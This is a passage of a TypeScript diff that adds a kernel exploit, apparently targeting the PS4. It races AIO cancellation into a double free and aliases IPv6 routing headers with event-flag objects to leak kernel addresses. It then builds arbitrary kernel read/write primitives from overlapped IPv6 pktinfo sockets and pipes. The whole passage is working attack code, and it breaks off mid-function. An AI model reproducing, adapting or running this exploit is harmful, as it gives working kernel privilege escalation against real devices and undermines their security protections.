rop_race1.push(gadgets.MOV_QWORD_PTR_RDI_RAX_RET) + + // Thread exit - thr_exit(0) + rop_race1.push(gadgets.POP_RDI_RET) + rop_race1.push(new BigInt(0)) + rop_race1.push(thr_exit_wrapper) + + // log("race_one before spawnt_thread"); + const thr_tid = spawn_thread(rop_race1) + // log("race_one after spawnt_thread"); + + // Wait for thread to signal ready + wait_for(ready_signal, 1) + // log("race_one after wait_for"); + + const suspend_res = call_suspend_chain(pipe_write_fd, pipe_buf, thr_tid) + log('Suspend result: ' + hex(suspend_res)) + // log("race_one after call_suspend_chain"); + + const scratch = sce_errs.add(8) // Use offset for scratch space + aio_multi_poll_fun(req_addr, 1, scratch) + const poll_res = read32(scratch) + log('poll_res after suspend: ' + hex(poll_res)) + // log("race_one after aio_multi_poll_fun"); + + get_sockopt(tcp_sd, IPPROTO_TCP, TCP_INFO, scratch, size_tcp_info) + const tcp_state = read8(scratch) + log('tcp_state: ' + hex(tcp_state)) + + let won_race = false + + if (poll_res !== SCE_KERNEL_ERROR_ESRCH && tcp_state !== TCPS_ESTABLISHED) { + aio_multi_delete_fun(req_addr, 1, sce_errs) + won_race = true + log('Race won!') + } else { + log('Race not won (poll_res=' + hex(poll_res) + ' tcp_state=' + hex(tcp_state) + ')') + } + + const resume_result = thr_resume_ucontext(thr_tid) + log('Resume ' + hex(thr_tid) + ': ' + resume_result) + // log("race_one after thr_resume_ucontext"); + nanosleep_fun(5) + + if (won_race) { + const err_main_thr = read32(sce_errs) + const err_worker_thr = read32(sce_errs.add(4)) + log('sce_errs: main=' + hex(err_main_thr) + ' worker=' + hex(err_worker_thr)) + + if (err_main_thr === err_worker_thr && err_main_thr === 0) { + log('Double-free successful, making aliased rthdrs...') + const sd_pair = make_aliased_rthdrs(sds) + + if (sd_pair !== null) { + close(pipe_read_fd) + close(pipe_write_fd) + return sd_pair + } else { + log('Failed to make aliased rthdrs') + } + } else { + log('sce_errs mismatch - race failed') + } + } + + close(pipe_read_fd) + close(pipe_write_fd) + + return null + } catch (e) { + log(' race_one error: ' + (e as Error).message) + return null + } +} + +function build_rthdr (buf: BigInt, size: number) { + const len = ((size >> 3) - 1) & ~1 + const actual_size = (len + 1) << 3 + write8(buf, 0) + write8(buf.add(1), len) + write8(buf.add(2), 0) + write8(buf.add(3), len >> 1) + return actual_size +} + +function set_sockopt (sd: BigInt, level: number, optname: number, optval: BigInt, optlen: number) { + const result = setsockopt(sd, level, optname, optval, optlen) + if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { + throw new Error('set_sockopt error: ' + hex(result)) + } + return result +} + +function get_sockopt (sd: BigInt, level: number, optname: number, optval: BigInt, optlen: number) { + const len_ptr = malloc(4) + write32(len_ptr, optlen) + const result = getsockopt(sd, level, optname, optval, len_ptr) + if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { + throw new Error('get_sockopt error: ' + hex(result)) + } + return read32(len_ptr) +} + +function set_rthdr (sd: BigInt, buf: BigInt, len: number) { + return set_sockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len) +} + +function get_rthdr (sd: BigInt, buf: BigInt, max_len: number) { + return get_sockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, max_len) +} + +function free_rthdrs (sds: BigInt[]) { + for (const sd of sds) { + if (!sd.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { + set_sockopt(sd, IPPROTO_IPV6, IPV6_RTHDR, new BigInt(0), 0) + } + } +} + +function make_aliased_rthdrs (sds: BigInt[]): [BigInt, BigInt] | null { + const marker_offset = 4 + const size = 0x80 + const buf = malloc(size) + const rsize = build_rthdr(buf, size) + + for (let loop = 1; loop <= NUM_ALIAS; loop++) { + for (let i = 1; i <= Math.min(sds.length, NUM_SDS); i++) { + const sd = sds[i - 1]! + if (!sd.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { // sds[i-1] !== 0xffffffffffffffff + write32(buf.add(marker_offset), i) + set_rthdr(sd, buf, rsize) + } + } + + for (let i = 1; i <= Math.min(sds.length, NUM_SDS); i++) { + const sd = sds[i - 1]! + if (!sd.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { // sds[i-1] !== 0xffffffffffffffff + get_rthdr(sd, buf, size) + const marker = Number(read32(buf.add(marker_offset))) + + if (marker !== i && marker > 0 && marker <= NUM_SDS) { + const aliased_idx = marker - 1 + const aliased_sd = sds[aliased_idx]! + if (aliased_idx >= 0 && aliased_idx < sds.length && !aliased_sd.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { // sds[aliased_idx] !== 0xffffffffffffffff + log(' Aliased pktopts found') + const sd_pair: [BigInt, BigInt] = [sd, aliased_sd] + const max_idx = Math.max(i - 1, aliased_idx) + const min_idx = Math.min(i - 1, aliased_idx) + sds.splice(max_idx, 1) + sds.splice(min_idx, 1) + free_rthdrs(sds) + sds.push(new_socket()) + sds.push(new_socket()) + return sd_pair + } + } + } + } + } + return null +} + +function setup () { + try { + init_threading() + + ready_signal = malloc(8) + deletion_signal = malloc(8) + pipe_buf = malloc(8) + + write64(ready_signal, 0) + write64(deletion_signal, 0) + + prev_core = get_current_core() + prev_rtprio = get_rtprio() + + pin_to_core(MAIN_CORE) + set_rtprio(MAIN_RTPRIO) + log(' Previous core ' + prev_core + ' Pinned to core ' + MAIN_CORE) + + const sockpair = malloc(8) + let ret = socketpair(AF_UNIX, SOCK_STREAM, 0, sockpair) + if (!ret.eq(0)) { + return false + } + + block_fd = read32(sockpair) + unblock_fd = read32(sockpair.add(4)) + + const block_reqs = malloc(0x28 * NUM_WORKERS) + for (let i = 0; i < NUM_WORKERS; i++) { + const offset = i * 0x28 + write32(block_reqs.add(offset).add(0x08), 1) + write32(block_reqs.add(offset).add(0x20), block_fd) + } + + const block_id_buf = malloc(4) + ret = aio_submit_cmd_fun(AIO_CMD_READ, block_reqs, NUM_WORKERS, 3, block_id_buf) + if (!ret.eq(0)) { + return false + } + + block_id = read32(block_id_buf) + log(' AIO workers ready') + + const num_reqs = 3 + const groom_reqs = make_reqs1(num_reqs) + const groom_ids_addr = malloc(4 * NUM_GROOMS) + + spray_aio(NUM_GROOMS, groom_reqs, num_reqs, groom_ids_addr, false) + cancel_aios(groom_ids_addr, NUM_GROOMS) + + groom_ids = [] + for (let i = 0; i < NUM_GROOMS; i++) { + groom_ids.push(Number(read32(groom_ids_addr.add(i * 4)))) + } + + sds = [new BigInt(0), new BigInt(0)] + let sdsIdx = 0 + for (let i = 0; i < NUM_SDS; i++) { + const sd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP) + if (sd.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { + throw new Error('socket alloc failed at sds[' + i + '] - reboot system') + } + sds[sdsIdx++] = sd + } + + sds_alt = [new BigInt(0), new BigInt(0)] + let sdsAltIdx = 0 + for (let i = 0; i < NUM_SDS_ALT; i++) { + const sd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP) + if (sd.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { + throw new Error('socket alloc failed at sds_alt[' + i + '] - reboot system') + } + sds_alt[sdsAltIdx++] = sd + } + log(' Sockets allocated (' + NUM_SDS + ' + ' + NUM_SDS_ALT + ')') + + return true + } catch (e) { + log(' Setup failed: ' + (e as Error).message) + return false + } +} + +function double_free_reqs2 (): [BigInt, BigInt] | null { + try { + const server_addr = malloc(16) + write8(server_addr.add(1), AF_INET) + write16(server_addr.add(2), 0) + write32(server_addr.add(4), aton('127.0.0.1')) + + const sd_listen = new_tcp_socket() + + const enable = malloc(4) + write32(enable, 1) + set_sockopt(sd_listen, SOL_SOCKET, SO_REUSEADDR, enable, 4) + + let ret = bind(sd_listen, server_addr, 16) + + if (!ret.eq(0)) { + log('bind failed') + close(sd_listen) + return null + } + + const addr_len = malloc(4) + write32(addr_len, 16) + ret = getsockname(sd_listen, server_addr, addr_len) + if (!ret.eq(0)) { + log('getsockname failed') + close(sd_listen) + return null + } + log('Bound to port: ' + Number(read16(server_addr.add(2)))) + + ret = listen(sd_listen, 1) + if (!ret.eq(0)) { + log('listen failed') + close(sd_listen) + return null + } + + const num_reqs = 3 + const which_req = num_reqs - 1 + const reqs = make_reqs1(num_reqs) + const aio_ids = malloc(4 * num_reqs) + const req_addr = aio_ids.add(which_req * 4) + const errors = malloc(4 * num_reqs) + const cmd = AIO_CMD_MULTI_READ + + for (let attempt = 1; attempt <= NUM_RACES; attempt++) { + // log("Race attempt " + attempt + "/" + NUM_RACES); + + const sd_client = new_tcp_socket() + + ret = connect(sd_client, server_addr, 16) + if (!ret.eq(0)) { + close(sd_client) + continue + } + + const sd_conn = accept(sd_listen, new BigInt(0), new BigInt(0)) + // log("Race attempt after accept") + const linger_buf = malloc(8) + write32(linger_buf, 1) + write32(linger_buf.add(4), 1) + set_sockopt(sd_client, SOL_SOCKET, SO_LINGER, linger_buf, 8) + // log("Race attempt after set_sockopt") + write32(reqs.add(which_req * 0x28 + 0x20), Number(sd_client)) + + ret = aio_submit_cmd_fun(cmd, reqs, num_reqs, 3, aio_ids) + if (!ret.eq(0)) { + close(sd_client) + close(sd_conn) + continue + } + // log("Race attempt after aio_submit_cmd_fun") + aio_multi_cancel_fun(aio_ids, num_reqs, errors) + // log("Race attempt after aio_multi_cancel_fun") + aio_multi_poll_fun(aio_ids, num_reqs, errors) + // log("Race attempt after aio_multi_poll_fun") + + close(sd_client) + // log("Race attempt before race_one") + if (!sds) { + close(sd_conn) + close(sd_listen) + throw Error('sds not initialized') + } + const sd_pair = race_one(req_addr, sd_conn, sds) + + aio_multi_delete_fun(aio_ids, num_reqs, errors) + close(sd_conn) + + if (sd_pair !== null) { + log('Won race at attempt ' + attempt) + close(sd_listen) + return sd_pair + } + } + + close(sd_listen) + return null + } catch (e) { + log('Stage 1 error: ' + (e as Error).message) + return null + } +} + +// Stage 2 +function new_evf (name: BigInt, flags: number) { + const result = evf_create(name, 0, flags) + if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { + throw new Error('evf_create error: ' + hex(result)) + } + return result +} + +function set_evf_flags (id: BigInt, flags: number) { + let result = evf_clear(id, 0) + if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { + throw new Error('evf_clear error: ' + hex(result)) + } + result = evf_set(id, flags) + if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { + throw new Error('evf_set error: ' + hex(result)) + } + return result +} + +function free_evf (id: BigInt) { + const result = evf_delete(id) + if (result.eq(new BigInt(0xFFFFFFFF, 0xFFFFFFFF))) { + throw new Error('evf_delete error: ' + hex(result)) + } + return result +} + +function verify_reqs2 (addr: BigInt, cmd: number) { + if (read32(addr) !== cmd) { + return false + } + + const heap_prefixes = [] + + for (let i = 0x10; i <= 0x20; i += 8) { + if (read16(addr.add(i + 6)) !== 0xffff) { + return false + } + heap_prefixes.push(Number(read16(addr.add(i + 4)))) + } + + const state1 = Number(read32(addr.add(0x38))) + const state2 = Number(read32(addr.add(0x3c))) + if (!(state1 > 0 && state1 <= 4) || state2 !== 0) { + return false + } + + if (!read64(addr.add(0x40)).eq(0)) { + return false + } + + for (let i = 0x48; i <= 0x50; i += 8) { + if (read16(addr.add(i + 6)) === 0xffff) { + if (read16(addr.add(i + 4)) !== 0xffff) { + heap_prefixes.push(Number(read16(addr.add(i + 4)))) + } + } else if (i === 0x50 || !read64(addr.add(i)).eq(0)) { + return false + } + } + + if (heap_prefixes.length < 2) { + return false + } + + const first_prefix = heap_prefixes[0] + for (let idx = 1; idx < heap_prefixes.length; idx++) { + if (heap_prefixes[idx] !== first_prefix) { + return false + } + } + + return true +} + +function leak_kernel_addrs (sd_pair: [BigInt, BigInt], sds: BigInt[]) { + const sd = sd_pair[0] + const buflen = 0x80 * LEAK_LEN + const buf = malloc(buflen) + + log('Confusing evf with rthdr...') + + const name = malloc(1) + + close(sd_pair[1]) + + let evf: BigInt | null = null + for (let i = 1; i <= NUM_ALIAS; i++) { + const evfs = [] + + for (let j = 1; j <= NUM_HANDLES; j++) { + const evf_flags = 0xf00 | (j << 16) + evfs.push(new_evf(name, evf_flags)) + } + + get_rthdr(sd, buf, 0x80) + + const flag = read32(buf) + + if ((flag & 0xf00) === 0xf00) { + const idx = (flag >>> 16) & 0xffff + const expected_flag = (flag | 1) + + evf = evfs[idx - 1]! + + set_evf_flags(evf, expected_flag) + get_rthdr(sd, buf, 0x80) + + const val = read32(buf) + if (val === expected_flag) { + evfs.splice(idx - 1, 1) + } else { + evf = null + } + } + + for (let k = 0; k < evfs.length; k++) { + if (evf === null || evfs[k] !== evf) { + free_evf(evfs[k]!) + } + } + + if (evf !== null) { + log('Confused rthdr and evf at attempt: ' + i) + break + } + } + + if (evf === null) { + log('Failed to confuse evf and rthdr') + return null + } + + set_evf_flags(evf, 0xff00) + + const kernel_addr = read64(buf.add(0x28)) + log('"evf cv" string addr: ' + hex(kernel_addr)) + + const kbuf_addr = read64(buf.add(0x40)).sub(0x38) // -0x38 + log('Kernel buffer addr: ' + hex(kbuf_addr)) + + const wbufsz = 0x80 + const wbuf = malloc(wbufsz) + const rsize = build_rthdr(wbuf, wbufsz) + const marker_val = 0xdeadbeef + const reqs3_offset = 0x10 + + write32(wbuf.add(4), marker_val) + write32(wbuf.add(reqs3_offset + 0), 1) // .ar3_num_reqs + write32(wbuf.add(reqs3_offset + 4), 0) // .ar3_reqs_left + write32(wbuf.add(reqs3_offset + 8), AIO_STATE_COMPLETE) // .ar3_state + write8(wbuf.add(reqs3_offset + 0xc), 0) // .ar3_done + write32(wbuf.add(reqs3_offset + 0x28), 0x67b0000) // .ar3_lock.lock_object.lo_flags + write64(wbuf.add(reqs3_offset + 0x38), 1) // .ar3_lock.lk_lock = LK_UNLOCKED + + const num_elems = 6 + const ucred = kbuf_addr.add(4) + const leak_reqs = make_reqs1(num_elems) + write64(leak_reqs.add(0x10), ucred) + + const num_loop = NUM_SDS + const leak_ids_len = num_loop * num_elems + const leak_ids = malloc(4 * leak_ids_len) + const step = (4 * num_elems) + const cmd = AIO_CMD_WRITE | AIO_CMD_FLAG_MULTI + + let reqs2_off: number | null = null + let fake_reqs3_off: number | null = null + let fake_reqs3_sd: BigInt | null = null + + for (let i = 1; i <= NUM_LEAKS; i++) { + for (let j = 1; j <= num_loop; j++) { + write32(wbuf.add(8), j) + aio_submit_cmd(cmd, leak_reqs, num_elems, 3, new BigInt(Number(leak_ids) + ((j - 1) * step))) + set_rthdr(sds[j - 1]!, wbuf, rsize) + } + + get_rthdr(sd, buf, buflen) + + let sd_idx: number | null = null + reqs2_off = null + fake_reqs3_off = null + + for (let off = 0x80; off < buflen; off += 0x80) { + const offset = off + + if (reqs2_off === null && verify_reqs2(buf.add(offset), AIO_CMD_WRITE)) { + reqs2_off = off + } + + if (fake_reqs3_off === null) { + const marker = read32(buf.add(offset + 4)) + if (marker === marker_val) { + fake_reqs3_off = off + sd_idx = Number(read32(buf.add(offset + 8))) + } + } + } + + if (reqs2_off !== null && fake_reqs3_off !== null && sd_idx !== null) { + log('Found reqs2 and fake reqs3 at attempt: ' + i) + fake_reqs3_sd = sds[sd_idx - 1]! + sds.splice(sd_idx - 1, 1) + free_rthdrs(sds) + sds.push(new_socket()) + break + } + + free_aios(leak_ids, leak_ids_len) + } + + if (reqs2_off === null || fake_reqs3_off === null) { + log('Could not leak reqs2 and fake reqs3') + return null + } + + log('reqs2 offset: ' + hex(reqs2_off)) + log('fake reqs3 offset: ' + hex(fake_reqs3_off)) + + get_rthdr(sd, buf, buflen) + + log('Leaked aio_entry:') + + let leak_str = '' + for (let i = 0; i < 0x80; i += 8) { + if (i % 16 === 0 && i !== 0) leak_str += '\n' + leak_str += hex(read64(buf.add(reqs2_off + i))) + ' ' + } + log(leak_str) + + const aio_info_addr = read64(buf.add(reqs2_off + 0x18)) + const reqs1_addr = read64(buf.add(reqs2_off + 0x10)).and(new BigInt(0xFFFFFFFF, 0xFFFFFF00)) + const fake_reqs3_addr = kbuf_addr.add(fake_reqs3_off + reqs3_offset) + + log('reqs1_addr = ' + hex(reqs1_addr)) + log('fake_reqs3_addr = ' + hex(fake_reqs3_addr)) + + log('Searching for target_id...') + + let target_id: number | null = null + let to_cancel: BigInt | null = null + let to_cancel_len: number | null = null + + const errors = malloc(4 * num_elems) + + for (let i = 0; i < leak_ids_len; i += num_elems) { + aio_multi_cancel(new BigInt(Number(leak_ids) + (i * 4)), num_elems, errors) + get_rthdr(sd, buf, buflen) + + const state = read32(buf.add(reqs2_off + 0x38)) + if (state === AIO_STATE_ABORTED) { + target_id = read32(leak_ids.add(i * 4)) + write32(leak_ids.add(i * 4), 0) + + log('Found target_id=' + hex(target_id) + ', i=' + i + ', batch=' + Math.floor(i / num_elems)) + + const start = i + num_elems + to_cancel = new BigInt(Number(leak_ids) + start * 4) + to_cancel_len = leak_ids_len - start + + break + } + } + + if (target_id === null) { + log('Target ID not found') + + return null + } + + if (to_cancel === null || to_cancel_len === null) { + log('to_cancel not set') + + return null + } + + cancel_aios(to_cancel, to_cancel_len) + free_aios2(leak_ids, leak_ids_len) + + log('Kernel addresses leaked successfully!') + + return { + reqs1_addr, + kbuf_addr, + kernel_addr, + target_id, + evf, + fake_reqs3_addr, + fake_reqs3_sd, + aio_info_addr + } +} + +// IPv6 kernel r/w primitive +const ipv6_kernel_rw: { + data: { + pipe_read_fd?: BigInt + pipe_write_fd?: BigInt + pipe_addr?: BigInt + pipemap_buffer?: BigInt + read_mem?: BigInt + master_target_buffer?: BigInt + slave_buffer?: BigInt + pktinfo_size_store?: BigInt + master_sock?: BigInt + victim_sock?: BigInt + } + ofiles: BigInt | null + kread8: ((kaddr: BigInt) => BigInt) | null + kwrite8: ((kaddr: BigInt, value: BigInt) => void) | null + init: (ofiles: BigInt, kread8: (kaddr: BigInt) => BigInt, kwrite8: (kaddr: BigInt, value: BigInt) => void) => void + get_fd_data_addr: (fd: BigInt) => BigInt + create_pipe_pair: () => void + create_overlapped_ipv6_sockets: () => void + ipv6_write_to_victim: (kaddr: BigInt) => void + ipv6_kread: (kaddr: BigInt, buffer_addr: BigInt) => void + ipv6_kwrite: (kaddr: BigInt, buffer_addr: BigInt) => void + ipv6_kread8: (kaddr: BigInt) => BigInt + copyout: (kaddr: BigInt, uaddr: BigInt, len: BigInt) => void + copyin: (uaddr: BigInt, kaddr: BigInt, len: BigInt) => void + read_buffer: (kaddr: BigInt, len: number) => Uint8Array + write_buffer: (kaddr: BigInt, buffer: Uint8Array) => void +} = { + data: {}, + ofiles: null, + kread8: null, + kwrite8: null, + init: function (ofiles: BigInt, kread8: (kaddr: BigInt) => BigInt, kwrite8: (kaddr: BigInt, value: BigInt) => void) { + ipv6_kernel_rw.ofiles = ofiles + ipv6_kernel_rw.kread8 = kread8 + ipv6_kernel_rw.kwrite8 = kwrite8 + + ipv6_kernel_rw.create_pipe_pair() + ipv6_kernel_rw.create_overlapped_ipv6_sockets() + }, + get_fd_data_addr: function (fd: BigInt) { + if (!kernel_offset?.SIZEOF_OFILES) { + throw new Error('kernel_offset not initialized') + } + if (!ipv6_kernel_rw.ofiles || !ipv6_kernel_rw.kread8) { + throw new Error('ipv6_kernel_rw not initialized') + } + // PS4: ofiles is at offset 0x0, each entry is 0x8 bytes + + // Just in case fd is a bigint + const fdNum = Number(fd) + + const filedescent_addr = ipv6_kernel_rw.ofiles.add(fdNum * kernel_offset.SIZEOF_OFILES) + const file_addr = ipv6_kernel_rw.kread8(filedescent_addr.add(0x0)) + return ipv6_kernel_rw.kread8(file_addr.add(0x0)) + }, + create_pipe_pair: function () { + const pipe = create_pipe() + const read_fd = pipe[0]! + const write_fd = pipe[1]! + + ipv6_kernel_rw.data.pipe_read_fd = read_fd + ipv6_kernel_rw.data.pipe_write_fd = write_fd + ipv6_kernel_rw.data.pipe_addr = ipv6_kernel_rw.get_fd_data_addr(read_fd) + ipv6_kernel_rw.data.pipemap_buffer = malloc(0x14) + ipv6_kernel_rw.data.read_mem = malloc(PAGE_SIZE) + }, + create_overlapped_ipv6_sockets: function () { + if (!kernel_offset?.SO_PCB || !kernel_offset?.INPCB_PKTOPTS) { + throw new Error('kernel_offset not initialized') + } + if (!ipv6_kernel_rw.kread8 || !ipv6_kernel_rw.kwrite8) { + throw new Error('ipv6_kernel_rw not initialized') + } + const master_target_buffer = malloc(0x14) + const slave_buffer = malloc(0x14) + const pktinfo_size_store = malloc(0x8) + + write64(pktinfo_size_store, 0x14) + + const master_sock = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP) + const victim_sock = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP) + + setsockopt(master_sock, IPPROTO_IPV6, IPV6_PKTINFO, master_target_buffer, 0x14) + setsockopt(victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, slave_buffer, 0x14) + + const master_so = ipv6_kernel_rw.get_fd_data_addr(master_sock) + const master_pcb = ipv6_kernel_rw.kread8(master_so.add(kernel_offset.SO_PCB)) + const master_pktopts = ipv6_kernel_rw.kread8(master_pcb.add(kernel_offset.INPCB_PKTOPTS)) + + const slave_so = ipv6_kernel_rw.get_fd_data_addr(victim_sock) + const slave_pcb = ipv6_kernel_rw.kread8(slave_so.add(kernel_offset.SO_PCB)) + const slave_pktopts = ipv6_kernel_rw.kread8(slave_pcb.add(kernel_offset.INPCB_PKTOPTS)) + + ipv6_kernel_rw.kwrite8(master_pktopts.add(0x10), slave_pktopts.add(0x10)) + + ipv6_kernel_rw.data.master_target_buffer = master_target_buffer + ipv6_kernel_rw.data.slave_buffer = slave_buffer + ipv6_kernel_rw.data.pktinfo_size_store = pktinfo_size_store + ipv6_kernel_rw.data.master_sock = master_sock + ipv6_kernel_rw.data.victim_sock = victim_sock + }, + ipv6_write_to_victim: function (kaddr: BigInt) { + if (!ipv6_kernel_rw.data.master_target_buffer || !ipv6_kernel_rw.data.master_sock) { + throw new Error('ipv6_kernel_rw not initialized') + } + write64(ipv6_kernel_rw.data.master_target_buffer, kaddr) + write64(ipv6_kernel_rw.data.master_target_buffer.add(0x8), 0) + write32(ipv6_kernel_rw.data.master_target_buffer.add(0x10), 0) + setsockopt(ipv6_kernel_rw.data.master_sock, IPPROTO_IPV6, IPV6_PKTINFO, ipv6_kernel_rw.data.master_target_buffer, 0x14) + }, + ipv6_kread: function (kaddr: BigInt, buffer_addr: BigInt) { + if (!ipv6_kernel_rw.data.victim_sock || !ipv6_kernel_rw.data.pktinfo_size_store) { + throw new Error('ipv6_kernel_rw not initialized') + } + ipv6_kernel_rw.ipv6_write_to_victim(kaddr) + getsockopt(ipv6_kernel_rw.data.victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, buffer_addr, ipv6_kernel_rw.data.pktinfo_size_store) + }, + ipv6_kwrite: function (kaddr: BigInt, buffer_addr: BigInt) { + if (!ipv6_kernel_rw.data.victim_sock) { + throw new Error('ipv6_kernel_rw not initialized') + } + ipv6_kernel_rw.ipv6_write_to_victim(kaddr) + setsockopt(ipv6_kernel_rw.data.victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, buffer_addr, 0x14) + }, + ipv6_kread8: function (kaddr: BigInt) { + if (!ipv6_kernel_rw.data.slave_buffer) { + throw new Error('ipv6_kernel_rw not initialized') + } + ipv6_kernel_rw.ipv6_kread(kaddr, ipv6_kernel_rw.data.slave_buffer) + return read64(ipv6_kernel_rw.data.slave_buffer) + }, + copyout: function (kaddr: BigInt, uaddr: BigInt, len: BigInt) { + if (kaddr === null || kaddr === undefined || + uaddr === null || uaddr === undefined || + len === null || len === undefined || len.eq(0)) { + throw new Error('copyout: invalid arguments') + } + if (!ipv6_kernel_rw.data.pipe_read_fd || !ipv6_kernel_rw.data.pipemap_buffer || !ipv6_kernel_rw.data.pipe_addr) { + throw new Error('ipv6_kernel_rw not initialized') + } + + write64(ipv6_kernel_rw.data.pipemap_buffer, new BigInt(0x40000000, 0x40000000)) + write64(ipv6_kernel_rw.data.pipemap_buffer.add(0x8), new BigInt(0x40000000, 0x00000000)) + write32(ipv6_kernel_rw.data.pipemap_buffer.add(0x10), 0) + ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr, ipv6_kernel_rw.data.pipemap_buffer) + + write64(ipv6_kernel_rw.data.pipemap_buffer, kaddr) + write64(ipv6_kernel_rw.data.pipemap_buffer.add(0x8), 0) + write32(ipv6_kernel_rw.data.pipemap_buffer.add(0x10), 0) + ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr.add(0x10), ipv6_kernel_rw.data.pipemap_buffer) + + read(ipv6_kernel_rw.data.pipe_read_fd, uaddr, len) + }, + copyin: function (uaddr: BigInt, kaddr: BigInt, len: BigInt) { + if (kaddr === null || kaddr === undefined || + uaddr === null || uaddr === undefined || + len === null || len === undefined || len.eq(0)) { + throw new Error('copyin: invalid arguments') + } + if (!ipv6_kernel_rw.data.pipemap_buffer || !ipv6_kernel_rw.data.pipe_addr || !ipv6_kernel_rw.data.pipe_write_fd) { + throw new Error('ipv6_kernel_rw not initialized') + } + + write64(ipv6_kernel_rw.data.pipemap_buffer, 0) + write64(ipv6_kernel_rw.data.pipemap_buffer.add(0x8), new BigInt(0x40000000, 0x00000000)) + write32(ipv6_kernel_rw.data.pipemap_buffer.add(0x10), 0) + ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr, ipv6_kernel_rw.data.pipemap_buffer) + + write64(ipv6_kernel_rw.data.pipemap_buffer, kaddr) + write64(ipv6_kernel_rw.data.pipemap_buffer.add(0x8), 0) + write32(ipv6_kernel_rw.data.pipemap_buffer.add(0x10), 0) + ipv6_kernel_rw.ipv6_kwrite(ipv6_kernel_rw.data.pipe_addr.add(0x10), ipv6_kernel_rw.data.pipemap_buffer) + + write(ipv6_kernel_rw.data.pipe_write_fd, uaddr, len) + }, + read_buffer: function (kaddr: BigInt, len: number) { + if (!ipv6_kernel_rw.data.read_mem) { + throw new Error('ipv6_kernel_rw not initialized') + } + let mem = ipv6_kernel_rw.data.read_mem + if (len > PAGE_SIZE) { + mem = malloc(len) + } + + ipv6_kernel_rw.copyout(kaddr, mem, new BigInt(len)) + return read_buffer(mem, len) + }, + write_buffer: function (kaddr: BigInt, buf: Uint8Array) { + const temp_addr = malloc(buf.length) + write_buffer(temp_addr, buf) + ipv6_kernel_rw.copyin(temp_addr, kaddr, new BigInt(buf.length)) + } +} + +function read_buffer (addr: BigInt, len: number) { + const buffer = new Uint8Array(len) + for (let i = 0; i < len; i++) { + buffer[i] = Number(read8(addr.add(i))) + } + return buffer +} + +function read_cstring (addr: BigInt) { + let str = '' + let i = 0 + while (true) { + const c = Number(read8(addr.add(i))) + if (c === 0) break + str += String.fromCharCode(c) + i++ + if (i > 256) break // Safety limit + } + return str +} + +function write_buffer (addr: BigInt, buffer: Uint8Array) { + for (let i = 0; i < buffer.length; i++) { + write8(addr.add(i), buffer[i]!) + } +} + +function make_aliased_pktopts (sds: BigInt[]): [BigInt, BigInt] | null { + const tclass = malloc(4) + + for (let loop = 0; loop < NUM_ALIAS; loop++) { + for (let i = 0; i < sds.length; i++) { + write32(tclass, i) + set_sockopt(sds[i]!, IPPROTO_IPV6, IPV6_TCLASS, tclass, 4) + } + + for (let i = 0; i < sds.length; i++) { + get_sockopt(sds[i]!, IPPROTO_IPV6, IPV6_TCLASS, tclass, 4) + const marker = Number(read32(tclass)) + + if (marker !== i) { + const sd_pair: [BigInt, BigInt] = [sds[i]!, sds[marker]!] + log('Aliased pktopts at attempt ' + loop + ' (pair: ' + sd_pair[0] + ', ' + sd_pair[1] + ')') + if (marker > i) { + sds.splice(marker, 1) + sds.splice(i, 1) + } else { + sds.splice(i, 1) + sds.splice(marker, 1) + } + + for (let j = 0; j < 2; j++) { + const sock_fd = new_socket() + set_sockopt(sock_fd, IPPROTO_IPV6, IPV6_TCLASS, tclass, 4) + sds.push(sock_fd) + } + + return sd_pair + } + } + + for (let i = 0; i < sds.length; i++) { + set_sockopt(sds[i]!, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, new BigInt(0), 0) + } + } + + return null +} + +function double_free_reqs1 (reqs1_addr: BigInt, target_id: number, evf: BigInt, sd: BigInt, sds: BigInt[], sds_alt: BigInt[], fake_reqs3_addr: BigInt) { + const max_leak_len = (0xff + 1) << 3 + const buf = malloc(max_leak_len) + + const num_elems = MAX_AIO_IDS + const aio_reqs = make_reqs1(num_elems) + + const num_batches = 1 + const aio_ids_len = num_batches * num_elems + const aio_ids = malloc(4 * aio_ids_len) + + log('Overwriting rthdr with AIO queue entry...') + let aio_not_found = true + free_evf(evf) + + for (let i = 0; i < NUM_CLOBBERS; i++) { + spray_aio(num_batches, aio_reqs, num_elems, aio_ids, true) + + const size_ret = get_rthdr(sd, buf, max_leak_len) + const cmd = read32(buf) + + if (size_ret === 8 && cmd === AIO_CMD_READ) { + log('Aliased at attempt ' + i) + aio_not_found = false + cancel_aios(aio_ids, aio_ids_len) + break + } + + free_aios(aio_ids, aio_ids_len, true) + } + + if (aio_not_found) { + log('Failed to overwrite rthdr') + return null + } + + const reqs2_size = 0x80 + const reqs2 = malloc(reqs2_size) + const rsize = build_rthdr(reqs2, reqs2_size) + + write32(reqs2.add(4), 5) // ar2_ticket + write64(reqs2.add(0x18), reqs1_addr) // ar2_info + write64(reqs2.add(0x20), fake_reqs3_addr) // ar2_batch + + const states = malloc(4 * num_elems) + const addr_cache: BigInt[] = [] + for (let i = 0; i < num_batches; i++) { + addr_cache.push(aio_ids.add(i * num_elems * 4)) + } + + log('Overwriting AIO queue entry with rthdr...') + + close(sd) + + function overwrite_aio_entry_with_rthdr () { + for 